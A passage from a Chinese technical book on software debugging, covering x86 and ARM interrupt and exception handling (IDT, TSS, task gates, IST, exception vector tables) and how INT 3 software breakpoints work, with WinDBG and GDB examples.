---- -------- -------- ---------- - -- -- -- -- -----------
0050 81967000 00000068 TSS32 Avl 0 Nb By P Nl 00000089
也就是说,TSS段的基地址是0x81967000,长度是0x68个字节
(Gran位指示By即Byte)。Type字段显示这个段的类型是32位的TSS段
(TSS32),它的状态为可用(Available),并非Busy。
至此,我们知道了#DF异常对应的门描述符所指向的TSS段,是位
于内存地址0x81967000开始的0x68个字节。使用内存观察命令便可以显
示这个TSS的内容了,见清单3-3。
清单3-3 观察#DF门描述符所指向的TSS段
kd> dd 81967000
81967000 00000000 81964000 00000010 00000000
81967010 00000000 00000000 00000000 00122000
81967020 8193f0a0 00000000 00000000 00000000
81967030 00000000 00000000 81964000 00000000
81967040 00000000 00000000 00000023 00000008
81967050 00000010 00000023 00000030 00000000
81967060 00000000 20ac0000 00000000 81964000
81967070 00000010 00000000 00000000 00000000
参考清单3-3,从上至下,81964000是在优先级0执行时的栈指针,
00000010是优先级0执行时的栈选择子,00122000是这个任务的页目录
基地址寄存器(PDBR,即CR3)的值,8193f0a0是程序指针寄存器
(EIP)的值,当CPU切换到这个任务时便是从这里开始执行的。接下
来,依次是标志寄存器(EFLAGS)和通用寄存器的值。偏移0x48处的
0x23是ES寄存器的值,相邻的00000008是CS寄存器的值,即这个任务
的代码段的选择子。而后是SS寄存器的值,即栈段的选择子,再往后是
DS、FS和GS寄存器的值(0x23、0x30和0)。偏移0x64处的20ac0000是
TSS的最后4个字节,它的最低位是T标志(0),即我们在第4章介绍过
的TSS段中的陷阱标志。高16字节是用来定位IO映射区基地址的偏移地
址,它是相对于TSS的基地址的。
使用ln(list nearest)命令搜索与EIP值接近的符号,结果就是内核
函数KiTrap08:
kd> ln 8193f0a0
(8193f0a0) nt!KiTrap08 | (8193f118) nt!Dr_kit9_a
Exact matches:
nt!KiTrap08 = <no type information>
也就是说,当有#DF异常发生时,CPU便会切换到以上TSS所描述
的线程,然后在这个线程环境中执行KiTrap08函数。之所以要切换到一
个新的线程,而不是像其他异常那样在原来的线程中处理,是因为#DF
异常指的是在处理一个异常时又发生了异常,这可能意味着本来的线程
环境已经不可靠了,所以有必要切换到一个新的线程来执行。
类似地,代表紧急任务的不可屏蔽中断(NMI)以及代表严重硬件
错误的机器检查异常(MCE)也是使用任务门机制来处理的。而除了这
3个向量之外,其他大多数中断和异常都是利用中断门或陷阱门来处理
的,下面我们看看这两种情况。
首先,CPU会根据门描述符中的段选择子定位到段描述符,然后再
进行一系列检查,如果检查通过后,CPU就判断是否需要切换栈。如果
目标代码段的特权级别比当前特权级别高(级别的数值小),那么CPU
需要切换栈,其方法是从当前任务的任务状态段(TSS)中读取新堆栈
的段选择子(SS)和堆栈指针(ESP),并将其加载到SS和ESP寄存
器。然后,CPU会把被中断过程(旧的)的堆栈段选择子(SS)和堆栈
指针(ESP)压入新的堆栈。接下来,CPU会执行如下两项操作。
把EFLAGS、CS和EIP的指针压入堆栈。CS和EIP指针代表了转到
处理例程前CPU正在执行代码的位置。
如果发生的是异常,而且该异常具有错误代码(见3.3.2节),那么
把该错误代码也压入堆栈。
如果处理例程所在代码段的特权级别与当前特权级别相同,那么
CPU便不需要进行堆栈切换,但仍要执行上面的两项操作。
TR寄存器中存放着指向当前任务TSS段的段选择子,使用WinDBG
可以观察TSS段的内容。
kd> r tr
tr=00000028
kd> dg 28
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- ---------
0028 8013e000 000020ab TSS32 Busy 0 Nb By P Nl 0000008b
经常做内核调试的读者可能会发现,TR寄存器的值大多时候是固
定的,也就是说,并不随着应用程序的线程切换而变化。事实上,
Windows系统中的TSS个数并不是与系统中的线程个数相关的,而是与
CPU个数相关的。在启动期间,Windows会为每个CPU创建3~4个
TSS,一个用于处理NMI,一个用于处理#DF异常,一个处理机器检查
异常(与版本有关,在XP SP1中存在),另一个供所有Windows线程所
共享。当Windows切换线程时,它把当前线程的状态复制到共享的TSS
中。也就是说,普通的线程切换并不会切换TSS,只有当NMI或 #DF异
常发生时,才会切换TSS,这就是所谓的以软件方式切换线程(任
务)。
使用WinDBG的!idt扩展命令可以列出IDT中的各个表项,不过该命
令做了很多翻译,显示的不是门描述符的原始格式。
lkd> !idt -a
Dumping IDT:
00: 804dbe13 nt!KiTrap00 // 0号异常,即除0
01: 804dbf6b nt!KiTrap01
02: Task Selector = 0x0058 // NMI的任务门描述符,显示的是TSS段的段选择
子
03: 804dc2bd nt!KiTrap03
表3-4列出了Windows 8(32位)的IDT设置,对于其他Windows版
本或硬件配置不同的系统,某些表项可能有所不同,但大多数表项是一
致的。
表3-4 IDT表设置一览(Windows 8 32位)
向
量
号
门
类
型
处理例程/TSS选择子
中断/异常
说 明
00
中
断
nt!KiTrap00
除零错误
01
中
断
nt!KiTrap01
调试异常
02
任
务
0x0058
不可屏蔽中断
(NMI)
切换到系统线程处理该中断,
使用的函数是KiTrap02
03
中
断
nt!KiTrap03
断点
04
中
断
nt!KiTrap04
溢出
05
中
断
nt!KiTrap05
数组越界
06
中
断
nt!KiTrap06
无效指令
07
中
断
nt!KiTrap07
数学协处理器
不存在或不可
用
任
双误 (Double
切换到系统线程处理该异常,
08
务
0x0050
Fault)
执行KiTrap08
09
中
断
nt!KiTrap09
协处理器段溢
出
0a
中
断
nt!KiTrap0A
无效的TSS
0b
中
断
nt!KiTrap0B
段不存在
0c
中
断
nt!KiTrap0C
栈段错误
0d
中
断
nt!KiTrap0D
一般保护错误
0e
中
断
nt!KiTrap0E
页错误
0f
中
断
nt!KiTrap0F
保留
KiTrap0F会引发0x7F号蓝屏
10
中
断
nt!KiTrap10
浮点错误
11
中
断
nt!KiTrap11
内存对齐
12
任
务
0x00A0
机器检查
切换到新线程,执行
hal!HalpMcaExceptionHa-
ndlerWrapper
13
中
断
nt!KiTrap13
SIMD浮点错误
14
~
1f
中
断
nt!KiTrap0F
保留
KiTrap0F会引发0x7F号蓝屏
20
~
29
00
NULL
(未使用)
2a
中
断
nt!KiGetTickCount
2b
中
断
nt!KiCallbackReturn
从逆向调用返回(参见卷2)
2c
中
断
nt!KiRaiseAssertion
断言
2d
中
断
nt!KiDebugService
调试服务
2e
中
断
nt!KiSystemService
系统服务
2f
中
断
nt!KiTrap0F
30
中
断
hal!Halp8254ClockInterrupt IRQ0
时钟中断
31
~
3F
中
断
驱动程序通过
KINTERRUPT结构注册的
处理例程
IRQ1~IRQ15
其他硬件设备的中断
40
~
中
nt!KiUnexpectedInterruptX
N/A
没有使用
FD
断
从表3-4可以看出,Windows 8的IDT表只使用了两种类型的门描述
符:任务门和中断门,并没有使用陷阱门。其实,中断门和陷阱门的行
为非常类似,二者之间的差异只有一个,那就是对于中断门,CPU在将
标志寄存器(EFLAGS)的当前值压入栈保存后,在开始执行处理函数
前,会自动清除标记寄存器的IF位,也就是屏蔽中断,而对于陷阱门,
CPU不会自动清除IF位。
在Linux系统中,IDT的大多数表项使用的也是中断门描述符,但也
使用了陷阱门。比如用于调用系统服务的SYSCALL_VECTOR(常量
0x80)向量使用的就是陷阱门,有关的源代码如下:
// arch/x86/kernel/traps.c
set_system_trap_gate(SYSCALL_VECTOR, &system_call);
// arch/x86/include/asm/irq_vectors.h
# define SYSCALL_VECTOR 0x80
在Windows的系统调用处理函数KiSystemService中,可以看到有一
条启用中断位的sti指令,这是因为CPU经过中断门进入内核后,IF位被
自动清除了,考虑到系统调用的执行时间可能比较长,为了能及时响应
中断,有必要再设置IF位。从这个角度来看,Linux内核的系统调用向
量使用陷阱门更好地利用了硬件的特征,更合理一些。奔腾II开始的x86
CPU都支持特殊的快速系统调用指令来做系统调用,我们将在卷2中详
细讨论。
格物致知
下面通过试验来观察Linux系统中的IDT表,您可以根据附录D中的
提示建立好实验环境,然后按照以下提示做实验。
① 启动Linux虚拟机,单击桌面上的Terminal图标,打开一个控制
台窗口。
② 执行如下命令启动GDB:
# sudo gdb --core /proc/kcore
根据提示输入密码(见附录D),成功后,gdb会被启动,并开始
本地内核调试(见第9章)。
③ 在GDB中执行如下命令,加载符号文件。
(gdb) symbol-file /usr/src/kernels/linux-2.6.35.9/vmlinux
④ Linux内核使用全局数组idt_table作为IDT表,执行如下命令打印
出这个表的起始地址。
(gdb) print /x &idt_table
执行成功后,GDB会显示出类似下面这样的结果:
$6 = 0xc16ff000
其中的$6是伪变量名,后续的命令可以使用它来索引这个命令结
果。等号后面的0xc16ff000便是idt_table变量的位置,其实也就是IDT的
线性地址,记下这个地址。
⑤ 执行print /x idt_table[0]打印出IDT表的第一个表项,其结果类似
如下内容:
$10 = {{{a = 0x601cec, b = 0xc14b8e00}, {limit0 = 0x1cec, base0 = 0x60,
base1 = 0x0, type = 0xe, s = 0x0, dpl = 0x0, p = 0x1, limit = 0xb,
avl = 0x0, l = 0x0, d = 0x1, g = 0x0, base2 = 0xc1}}}
在Linux的源代码中,每个IDT表项被定义为一个desc_struct结构
体,这个结构体的长度为8个字节,内部又是两个结构体的联合,第一
个子结构体是两个32位整数a和b,用于按32位来访问IDT表项的高4字节
(b)和低4字节(a)。第二个子结构体是按照段描述符的位布局来定
义的,适合描述第2章介绍的GDT中的段描述符,不适合描述IDT的门
描述符。因此,我们观察这个结果时,可以根据图3-4理解其中的内
容。比如,取b的高16位加上a的低16位便可以得到处理函数的地址,即
0xc14b1cec,然后可以使用info symbol命令寻找其对应的符号:
(gdb) i symbol 0xc14b1cec
divide_error in section .text
正好是除0异常的处理函数。
⑥ 也可以使用x命令直接观察IDT的数据,比如:
(gdb) x /2x &idt_table[0]
0xc16ff000: 0x00601cec 0xc14b8e00
⑦ 略微调整以上两步中的命令,便可以观察IDT中其他表项的值,
比如以下命令可以观察用于系统调用的80号表项:
(gdb) x /2x &idt_table[0x80]
0xc16ff400: 0x00601720 0xc14bef00
(gdb) i symbol 0xc14b1720
system_call in section .text
注意,高4字节中的类型位为0xf,代表使用的是陷阱门。
⑧ 读者可以继续观察更多的表项,或者执行x /512x &idt_table[0]可
以将整个IDT表的原始数据显示出来。观察结束后,执行q命令退出
GDB。
3.5.3 IA-32e模式
在IA-32e(64位)模式下,IDT仍然是处理中断异常的核心枢纽,
但做了一些改动,主要表现在如下两个方面。
首先,每个IDT表项的长度扩展为16个字节,新增的两个
DWORD,高地址的保留未用,低地址的用于记录处理函数地址的高32
位。因为每个表项的增大,IDT表的总长度也随之增加到4096字节
(4KB),刚好是一个普通内存页大小。
其次,因为x64架构不再支持硬件方式的任务切换,所以IDT中也不
再有任务门。这便产生了一个问题,当某些异常发生时,当前线程的栈
可能已经用完了,比如因为栈溢出而导致的双误异常便是如此。为了能
够处理这样的情况,x64架构引入了一种名为IST的机制,利用该机制,
CPU可以在处理异常时自动切换栈。
IST是Interrupt Stack Table的缩写,也是一张线性表,位于x64的新
格式TSS中。IST每个表项的大小为64位(8字节),其内容就是一个指
向栈的数据指针。IST的最大表项数为7,索引号为1~7。在x64的新格
式门描述符中,有一个用于索引IST的位域,位于第二个WORD的Bit 0
~2,共3个比特,可以索引到IST中的任一个表项,索引0用来代表不需
要切换栈,不指向任何有效的IST表项。在32位的门描述符中,IST的对
应位置是保留未用的。
图3-6所示的是调试64位Windows 10时执行!idt命令得到的IDT表信
息(局部,完整列表请见试验材料src\chap03\idt_w10_64.txt),图中带
有“Stack = ×××”的项使用了非0值的IST索引,指示CPU在发生这类中断
或者异常时要先切换栈。
图3-6 64位Windows 10的中断描述符表(局部)
总的看来,IA-32e模式下的IDT变得更简单了,不再有任务门,只
有中断门和陷阱门,中断门和陷阱门都支持通过它们中的IST位域来指
定是否要切换栈。
3.6 ARM架构中的异常机制
本节将简要介绍ARM架构中的异常机制,把前面关于x86架构的内
容扩展到ARM架构。我们将着重介绍二者的差异。
首先,两个架构中异常和中断的范畴是不同的。在x86中,中断和
异常是并列的两个概念,但是在ARM中,中断被看作异常的一种,包
含在异常中。根据ARM手册,ARM架构中的异常包括如下5类。
复位(reset)。
中断(interrupt)。
内存系统中止(memory system abort)。
未定义的指令(undefined instruction)。
系统调用(Supervisor Call,SVC)、安全监视器调用(Secure
Monitor Call,SMC)和超级调用(Hypervisor Call,HVC)。
可见,ARM架构把导致CPU脱离正常执行流程(normal flow)的各
种软硬件触发条件都纳入了异常范畴。
其次,ARM架构中登记异常处理器的方法也有所不同,使用的不
是IDT,而是一种称为异常向量表(exception vector table)的特殊格
式,下面以WoA(Windows on ARM)系统为例来介绍其工作原理。
WoA系统启动时,内核中的KiInitializeExceptionVectorTable函数会
把事先准备好的异常向量表地址加载到系统控制器(CP15)的
VBAR(Vector Base Address Register)寄存器中。关键的指令如下:
810dc7ae 4b08 ldr r3,=nt!KiArmExceptionVectors+0x1 (81037701)
810dc7b0 f0230301 bic r3,r3,#1
810dc7b4 ee0c3f10 mcr p15,#0,r3,c12,c0
上面第一条指令是把记录在全局变量KiArmExceptionVectors中的异
常向量表地址加载到寄存器R3中,第二条指令是把最低位清零(按位逻
辑与非),相当于R3 = R3 & ~1。第三条指令是把R3的内容写到协处理
器CP15的VBAR寄存器中。
根据ARM手册,异常向量表应该包含8个表项(向量),每个表项
中存放的并不是异常处理函数的地址,而是一个操作码。图3-7是使用
WinDBG的dds(Display Words and Symbols)命令观察
KiArmExceptionVectors的结果。
图3-7 WoA的异常向量表的原始数据和对应符号
在图3-7中,前8行每行对应一个表项,内容都是f01cf8df。大家不
必奇怪,使用u命令反汇编一下就明白了(见图3-8)。
图3-8 反汇编异常向量表中的操作码
原来,f01cf8df是下面这样的ldr指令的机器码:
ldr pc, [pc, #VECTOR_OFFSET]
这条指令使用了相对程序指针的寻址方法,可以以当前指令地址为
基础,加上操作数中指定的偏移,然后把这几个地址加载到程序指针寄
存器,其作用相当于一种特殊的跳转。有了这个基础之后再观察图3-7
就可以理解了。可以把KiArmExceptionVectors看作包含16个元素的数组
(线性表),前8个元素是特殊的ldr指令,后8个元素是异常处理的函数
地址(或者−1表示不使用),ldr指令通过操作数中的偏移找到对应的处
理函数,因为定义数组时是按顺序依次定义的,所以偏移值也是一样
的,导致8条指令的机器码完全一样。
下面解释一下图3-8中出现的6个异常处理函数(全F的表项表示没
有使用该异常)。它们基本上是与上面定义的5类异常相对应的。其
中,KiUndefinedInstructionException用来处理未定义指令异常,
KiSWIException用来处理系统调用,KiPrefetchAbortException和
KiDataAbort Exception都是用来处理内存系统中止,不过二者分工明
确,前者负责处理访问代码时遇到的异常(比如缺页),后者负责处理
访问数据时遇到的异常。KiInterruptException是所有中断的统一入口,
它内部会判断中断源,然后再分发给合适的处理函数。KiFIQException
是高优先级中断(FIQ)的入口,不过WoA不支持FIQ,如果进入
KiFIQException函数,那么它便会触发蓝屏,让系统崩溃。
对于WoA目标,在WinDBG中使用!idt -a命令可以显示出系统中注
册的中断处理函数,比如:
0: kd> !idt -a
Dumping IDT: 8122912c
Dumping Extended IDT: 00000000
Dumping Secondary IDT: 8542b000
1000:KeyButton+0x388c (KMDF) (KINTERRUPT 8b05fe00)
1003:FT5X06+0x6cc8 (KMDF) (KINTERRUPT 8b05fd00)
1004:VirtualCodec+0x6350 (KMDF) (KINTERRUPT 8b05fc00)
1005:sdport!SdPortWriteRegisterUshort+0x38c8 (KINTERRUPT 8b05f900)
但这个IDT是完全由软件定义和维护的,旨在给驱动程序(KMDF
和WDM驱动)提供兼容的开发接口和调试信息,与x86架构中的IDT有
根本不同。
3.7 本章小结
本章首先介绍了中断和异常这两个重要概念(见3.1节和3.2节),
然后介绍了IA-32 CPU定义的各个异常(见3.3节)。3.4节讨论了中断和
异常的优先级。3.5节介绍了中断/异常的响应和处理。3.6节介绍了ARM
架构中的异常处理机制。
异常与调试有着更为密切的关系,本章从CPU的角度首次介绍了异
常的基本概念,第三篇和第四篇将分别从操作系统和编译器(程序语
言)的角度做进一步阐述。
参考资料
[1] IA-32 Intel Architecture Software Developer’s Manual Volume 3.
Intel Corporation.
[2] Tom Shanley. The Unabridged Pentium 4: IA-32 Processor
Genealogy[M]. Boston: Addison Wesley, 2004 .
[3] ARM Architecture Reference Manual ARMv7-A and ARMv7-R
edition (B1.8 Exception handling). ARM Holdings.
第4章 断点和单步执行
提到调试,很多人立刻会想到设置断点和单步执行。的确,这是两
种常用的调试方法,是所有调试器必备的核心功能。本章首先介绍x86
CPU是如何支持断点和单步执行功能的,然后再扩展到ARM架构。4.1
节和4.2节将分别介绍软件断点和硬件断点,4.3节介绍用于实现单步执
行功能的陷阱标志。在前三节的基础上,4.4节将分析一个真实的调试
器程序,看它是如何实现断点和单步执行功能的。4.5节将通过实例介
绍反调试和化解的方法。4.6节介绍ARM架构对断点和单步执行的支
持。
4.1 软件断点
x86系列处理器从其第一代产品英特尔8086开始就提供了一条专门
用来支持调试的指令,即INT 3。简单地说,这条指令的目的就是使
CPU中断(break)到调试器,以供调试者对执行现场进行各种分析。调
试程序时,我们可以在可能有问题的地方插入一条INT 3指令,使CPU
执行到这一点时停下来。这便是软件调试中经常用到的断点
(breakpoint)功能,因此INT 3指令又称为断点指令。
4.1.1 INT 3
下面通过一个小实验来感受一下INT 3指令的工作原理。在Visual
C++ Studio 6.0(以下简称为VC 6)中创建一个简单的HelloWorld控制台
程序HiInt3,然后在main()函数的开头通过嵌入式汇编插入一条INT 3指
令:
int main(INT argc, char* argv[])
{
// manual breakpoint
_asm INT 3;
printf("Hello INT 3!\n");
return 0;
}
在VC环境中执行以上程序时,会得到图4-1所示的对话框。单击OK
按钮后,程序便会停在INT 3指令所在的位置。由此看来,我们刚刚插
入的一行指令(_asm INT 3)相当于在那里设置了一个断点。实际上,
这也正是通过注入代码手工设置断点的方法,这种方法在调试某些特殊
的程序时非常有用。
图4-1 CPU遇到INT 3指令时会把执行权移交给调试设施
此时打开反汇编窗口,可以看到内存地址00401028处确实是INT 3
指令:
10: _asm INT 3;
00401028 int 3
打开寄存器窗口,可以看到程序指针寄存器的值也是00401028:
EAX = CCCCCCCC EBX = 7FFDE000 ECX = 00000000 EDX = 00371588
ESI = 00000000 EDI = 0012FF80
EIP = 00401028 ESP = 0012FF34 EBP = 0012FF80 ……
根据我们在第3章中的介绍,断点异常(INT 3)属于陷阱类异常,
当CPU产生异常时,其程序指针是指向导致异常的下一条指令的。但
是,现在我们观察到的结果却是指向导致异常的这条指令的。这是为什
么呢?简单地说,是操作系统为了支持调试对程序指针做了调整。我们
将在后面揭晓答案。
4.1.2 在调试器中设置断点
下面考虑一下调试器是如何设置断点的。当我们在调试器(例如
VC6或Turbo Debugger等)中对代码的某一行设置断点时,调试器会先
把这里本来指令的第一个字节保存起来,然后写入一条INT 3指令。因
为INT 3指令的机器码为11001100b(0xCC),仅有一个字节,所以设
置和取消断点时也只需要保存和恢复一个字节,这是设计这条指令时须
考虑好的。
顺便说一下,虽然VC6是把断点的设置信息(断点所在的文件和行
位置)保存在和项目文件相同位置且相同主名称的一个.opt文件中,但
是请注意,该文件并不保存每个断点处应该被INT 3指令替换掉的那个
字节,因为这种替换是在启动调试时和调试过程中动态进行的。这可以
解释,有时在VC6中,在非调试状态下,我们甚至可以在注释行设置断
点,当开始调试时,会得到一个图4-2所示的警告对话框。这是因为当
用户在非调试状态下设置断点时,VC6只是简单地记录下该断点的位置
信息。当开始调试(让被调试程序开始运行)时,VC6会一个一个地取
出OPT文件中的断点记录,并真正将这些断点设置到目标代码的内存映
像中,即要将断点位置对应的指令的第一个字节先保存起来,再替换为
0xCC(即INT 3指令),这个过程称为落实断点(resolve breakpoint)。
在落实断点的过程中,如果VC6发现某个断点的位置根本对应不到
目标映像的代码段,那么便会发出图4-2所示的警告。
图4-2 VC6在开始调试时才真正设置断点,会对无法落实的断点发出警告
4.1.3 断点命中
当CPU执行到INT 3指令时,由于INT 3指令的设计目的就是中断到
调试器,因此CPU执行这条指令的过程也就是产生断点异常
(breakpoint exception,即#BP)并转去执行异常处理例程的过程。在跳
转到处理例程之前,CPU会保存当前的执行上下文(包括段寄存器、程
序指针寄存器等内容)。清单4-1列出了CPU工作在实模式时执行INT 3
的过程(摘自《英特尔IA-32架构软件开发手册(卷2A)》)。
清单4-1 实模式下INT 3指令的执行过程
1 REAL-ADDRESS-MODE:
2 IF ((vector_number ∗ 4) + 3) is not within IDT limit
3 THEN #GP;
4 FI;
5 IF stack not large enough for a 6-byte return information
6 THEN #SS;
7 FI;
8 Push (EFLAGS[15:0]);
9 IF ← 0; (* Clear interrupt flag *)
10 TF ← 0; (* Clear trap flag *)
11 AC ← 0; (* Clear AC flag *)
12 Push(CS);
13 Push(IP);
14 (* No error codes are pushed *)
15 CS ← IDT(Descriptor (vector_number ∗ 4), selector));
16 EIP ← IDT(Descriptor (vector_number ∗ 4), offset)); (* 16 bit offset
AND
17 0000FFFFH *)
18 END
其中第2行是检查根据中断向量号计算出的向量地址是否超出了中
断向量表的边界(limit)。实模式下,中断向量表的每个表项是4个字
节,分别处理例程的段和偏移地址(各两字节)。如果超出了,那么便
产生保护性错误异常。#GP即General Protection Exception,通用保护性
异常。第7行的FI是IF语句的结束语句。
第5行是检查栈上是否有足够的空间来保存寄存器,当堆栈不足以
容纳接下来要压入的6字节的(CS、IP和EFLAGS的低16位)内容时,
便产生堆栈异常#SS。第9行到第11行是清除标志寄存器的IF、TF和AC
位。第12行和第13行是将当前的段寄存器和程序指针寄存器的内容保存
在当前程序的栈中。
第15行和第16行是将注册在中断向量表(IDT)中的异常处理例程
的入口地址加载到CS和IP(程序指针)寄存器中。这样,CPU执行好这
条指令后,接下来便会执行异常处理例程的函数了。
对于DOS这样的在实模式下的单任务操作系统,断点异常的处理例
程通常就是调试器程序注册的函数,因此,CPU便开始执行调试器的代
码了。当调试器执行好调试功能需要恢复被调试程序执行时,它只要执
行中断返回指令(IRET),便可以让CPU从断点的位置继续执行了(见
下文)。
在保护模式下,INT 3指令的执行过程虽然有所不同,比如是在由
IDTR寄存器标识的IDT中寻找异常处理函数,找到后会检查函数的有效
性,但其原理是一样的,也是保存好寄存器后,便跳转去执行异常处理
例程。
对于Windows这样工作在保护模式下的多任务操作系统,INT 3异
常的处理函数是操作系统的内核函数(KiTrap03)。因此执行INT 3会
导致CPU执行nt!KiTrap03例程。因为我们现在讨论的是应用程序调试,
断点指令位于用户模式下的应用程序代码中,因此CPU会从用户模式转
入内核模式。接下来,经过几个内核函数的分发和处理(见第11章),
因为这个异常是来自用户模式的,而且该异常的拥有进程正在被调试
(进程的DebugPort非0),所以内核例程会把这个异常通过调试子系统
以调试事件的形式分发给用户模式的调试器,对于我们的例子也就是
VC6。在通知VC6后,内核的调试子系统函数会等待调试器的回复。收
到调试器的回复后,调试子系统的函数会层层返回,最后返回到异常处
理例程,异常处理例程执行中断返回指令,使被调试的程序继续执行。
在调试器(VC6)收到调试事件后,它会根据调试事件数据结构中
的程序指针得到断点异常的发生位置,然后在自己内部的断点列表中寻
找与其匹配的断点记录。如果能找到,则说明这是“自己”设置的断点,
执行一系列准备动作后,便允许用户进行交互式调试。如果找不到,就
说明导致这个异常的INT 3指令不是VC6动态替换进去的,因此会显示
一个图4-1所示的对话框,意思是说一个“用户”插入的断点被触发了。
值得说明的是,在调试器下,我们是看不到动态替换到程序中的
INT 3指令的。大多数调试器的做法是在被调试程序中断到调试器时,
会先将所有断点位置被替换为INT 3的指令恢复成原来的指令,然后再
把控制权交给用户。对于不做这种断点恢复的调试器(如VC6),它的
反汇编功能和内存观察功能也都有专门的处理,让用户看到的始终是断
点所在位置本来的内容。本节后面我们会给出两种观察方法。
在Windows系统中,操作系统的断点异常处理函数(KiTrap03)对
于x86 CPU的断点异常会有一个特殊的处理,会将程序指针寄存器的值
减1。
nt!KiTrap03+0x9a:
8053dd0e 8b5d68 mov ebx,dword ptr [ebp+68h]
8053dd11 4b dec ebx
8053dd12 b903000000 mov ecx,3
8053dd17 b803000080 mov eax,80000003h
8053dd1c e8a3f8ffff call nt!CommonDispatchException (8053d5c4)
出于这个原因,我们在调试器看到的程序指针指向的仍然是INT 3
指令的位置,而不是它的下一条指令。这样做的目的有如下两个。
调试器在落实断点时,不管所在位置的指令是几个字节,它都只替
换一个字节。因此,如果程序指针指向下一个指令位置,那么指向
的可能是原来的多字节指令的第二个字节,不是一条完整的指令。
因为有断点在,所以被调试程序在断点位置的那条指令还没有执
行。按照“程序指针总是指向即将执行的那条指令”的原则,应该把
程序指针指向这条要执行的指令,也就是倒退回一个字节,指向原
来指令的起始地址。
这也就是前面问题的答案。
综上所述,当CPU执行INT 3指令时,它会跳转到异常处理例程,
让当前的程序接受调试,调试结束后,异常处理例程使用中断返回机制
让CPU再继续执行原来的程序。下面我们将详细介绍恢复执行的过程。
4.1.4 恢复执行
当用户结束分析希望恢复被调试程序执行时,调试器通过调试API
通知调试子系统,这会使系统内核的异常分发函数返回到异常处理例
程,然后异常处理例程通过IRET/IRETD指令触发一个异常返回动作,
使CPU恢复执行上下文,从发生异常的位置继续执行。注意,这时的程
序指针指向断点所在的那条指令,此时刚才的断点指令已经被替换成本
来的指令,于是程序会从断点位置的原来指令继续执行。
这里有一个问题,前面我们说当断点命中中断到调试器时,调试器
会把所有断点处的INT 3指令恢复成本来的内容。因此,在用户发出恢
复执行命令后,调试器在通知系统真正恢复程序执行前,需要将断点列
表中的所有断点再落实一遍。但是对于刚才命中的这个断点需要特别对
待,试想如果把这个断点处的指令也替换为INT 3,那么程序一执行便
又触发断点了。但是如果不替换,那么这个断点便没有被落实,程序下
次执行到这里时就不会触发断点,而用户并不知道这一点。对于这个问
题,大多数调试器的做法都是先单步执行一次。具体地说,就是先设置
单步执行标志(见 4.2 节),然后恢复执行,将断点所在位置的指令执
行完。因为设置了单步标志,所以CPU执行完断点位置的这条指令后会
立刻再中断到调试器中,这一次调试器不会通知用户,会做一些内部操
作后便立刻恢复程序执行,而且将所有断点都落实(使用INT 3替
换),这个过程一般被称为“单步走出断点”。如果用户在恢复程序执行
前已经取消了当前的断点,那么就不需要先单步执行一次了。
4.1.5 特殊用途
因为INT 3指令的特殊性,所以它有一些特别的用途。让我们从一
个有趣的现象说起。当用VC6进行调试时,我们常常会观察到一块刚分
配的内存或字符串数组里面被填满了“CC”。如果是在中文环境下,因
为0xCCCC恰好是汉字“烫”字的简码,所以会观察到很多“烫烫
烫……”(见图4-3),而0xCC又正好是INT 3指令的机器码,这是偶然
的么?当然不是。因为这是编译器故意这样做的。为了辅助调试,编译
器在编译调试版本时会用0xCC来填充刚刚分配的缓冲区。这样,如果
因为缓冲区或堆栈溢出时程序指针意外指向了这些区域,那么便会因为
遇到INT 3指令而马上中断到调试器。
图4-3 填充了INT 3指令的缓冲区
事实上,除了以上用法,编译器还用INT 3指令来填充函数或代码
段末尾的空闲区域,即用它来做内存对齐。这也可以解释为什么有时我
们没有手工插入任何对INT 3的调用,但还会遇到图4-1所示的对话框。
4.1.6 断点API
Windows操作系统提供了供应用程序向自己的代码中插入断点的
API。在用户模式下,可以使用DebugBreak() API,在内核模式下可以使
用DbgBreakPoint()或者DbgBreakPointWithStatus()API。
把前面HiInt3程序中对INT 3的直接调用改为调用Windows API
DebugBreak()(需要在开头加入include <windows.h>),然后执行,可
以看到产生的效果是一样的。通过反汇编很容易看出这些API在x86平台
上其实都只是对INT 3指令的简单包装:
1 lkd> u nt!DbgBreakPoint
2 nt!DbgBreakPoint:
3 804df8c4 cc int 3
4 804df8c5 c3 ret
以上反汇编是用WinDBG的本地内核调试环境而做的。提示符lkd>
的含义是“local kernel debug”,即本地内核调试——需要Windows XP或
以上的操作系统才能支持。
DbgBreakPointWithStatus()允许向调试器传递一个整型参数:
lkd> u nt!DbgBreakPointWithStatus
804df8d1 8b442404 mov eax,[esp+0x4]
804df8d5 cc int 3
其中[esp+0x4]代表DbgBreakPointWithStatus函数的第一个参数。
4.1.7 系统对INT 3的优待
关于INT 3指令还有一点要说明的是,INT 3指令与当n=3时的INT n
指令(通常所说的软件中断)并不同。INT n指令对应的机器码是0xCD
后跟1字节n值,比如INT 23H 会被编译为0xCD23。与此不同的是,INT
3指令具有独特的单字节机器码0xCC。而且系统会给予INT 3指令一些
特殊的待遇,比如在虚拟8086模式下免受IOPL检查等。
因此,当编译器看见INT 3时会特别将其编译为0xCC,而不是
0xCD03。尽管没有哪个编译器会将INT 3编译成0xCD03,但是可以通过
某些方法直接在程序中插入0xCD03,比如可以使用如下嵌入式汇编,
利用_EMIT伪指令直接嵌入机器码:
__asm _emit 0xcd __asm _emit 0x03
将前面的HiInt3小程序略作修改,使用_EMIT伪指令插入机器码
0xCD03,并在其前后再加入一两行用作“参照物”的其他指令,如清单4-
2所示。
清单4-2 HiInt3程序的源代码
7 int main(int argc, char* argv[])
8 {
9 // 手工断点
10 _asm INT 3;
11 printf("Hello INT 3!\n");
12
13 _asm
14 {
15 mov eax,eax
16 __asm _emit 0xcd __asm _emit 0x03
17 nop
18 nop
19 }
20 //或者使用Windows API
21 DebugBreak();
22 //
23 return 0;
24 }
在VC6下编译以上代码,然后执行,先会得到两次图4-1所示的对
话框,第二次是我们用EMIT方法插入的0xCD03所导致的,但是再执行
会反复得到访问违例异常,无法继续。
为了一探究竟,我们使用比VC6集成调试器更强大的WinDBG调试
器。启动WinDBG后通过File→Open Executable打开可执行程序
(\bin\debug\HiInt3.exe)。然后使用反汇编命令u
hiint3!HiInt3.cpp:11观察源代码从第11行起的汇编代码(见清单4-
3)。
清单4-3 HiInt3程序的汇编代码(第11行起)
0:000> u `hiint3!HiInt3.cpp:11`
HiInt3!main+0x19 [C:\dig\dbg\author\code\chap04\HiInt3\HiInt3.cpp @ 11]:
00401029 681c204200 push offset HiInt3!`string' (0042201c)
0040102e e82d000000 call HiInt3!printf (00401060)
00401033 83c404 add esp,4
00401036 8bc0 mov eax,eax
00401038 cd03 int 3
0040103a 90 nop
0040103b 90 nop
